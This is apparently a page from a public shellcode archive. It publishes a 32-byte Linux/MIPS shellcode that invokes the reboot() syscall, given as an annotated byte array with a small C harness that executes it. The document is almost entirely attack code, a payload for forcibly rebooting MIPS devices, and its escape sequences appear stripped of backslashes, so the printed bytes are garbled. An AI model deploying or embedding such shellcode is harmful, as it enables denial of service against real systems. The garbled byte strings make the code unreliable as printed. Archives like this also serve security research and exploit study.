[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Linux/MIPS - reboot() - 32 bytes.
# Published : 2011-12-10
# Author :
# Previous Title : bds/x86-bindshell on port 2525 shellcode - 167 bytes
# Next Title : OSX universal ROP shellcode
/*
* Title: Linux/MIPS - reboot() - 32 bytes.
* Author: rigan - imrigan [sobachka] gmail.com
*/
#include <stdio.h>
char sc[] =
"x3cx06x43x21" // lui a2,0x4321
"x34xc6xfexdc" // ori a2,a2,0xfedc
"x3cx05x28x12" // lui a1,0x2812
"x34xa5x19x69" // ori a1,a1,0x1969
"x3cx04xfexe1" // lui a0,0xfee1
"x34x84xdexad" // ori a0,a0,0xdead
"x24x02x0fxf8" // li v0,4088
"x01x01x01x0c"; // syscall 0x40404
void main(void)
{
void(*s)(void);
printf("size: %dn", sizeof(sc));
s = sc;
s();
}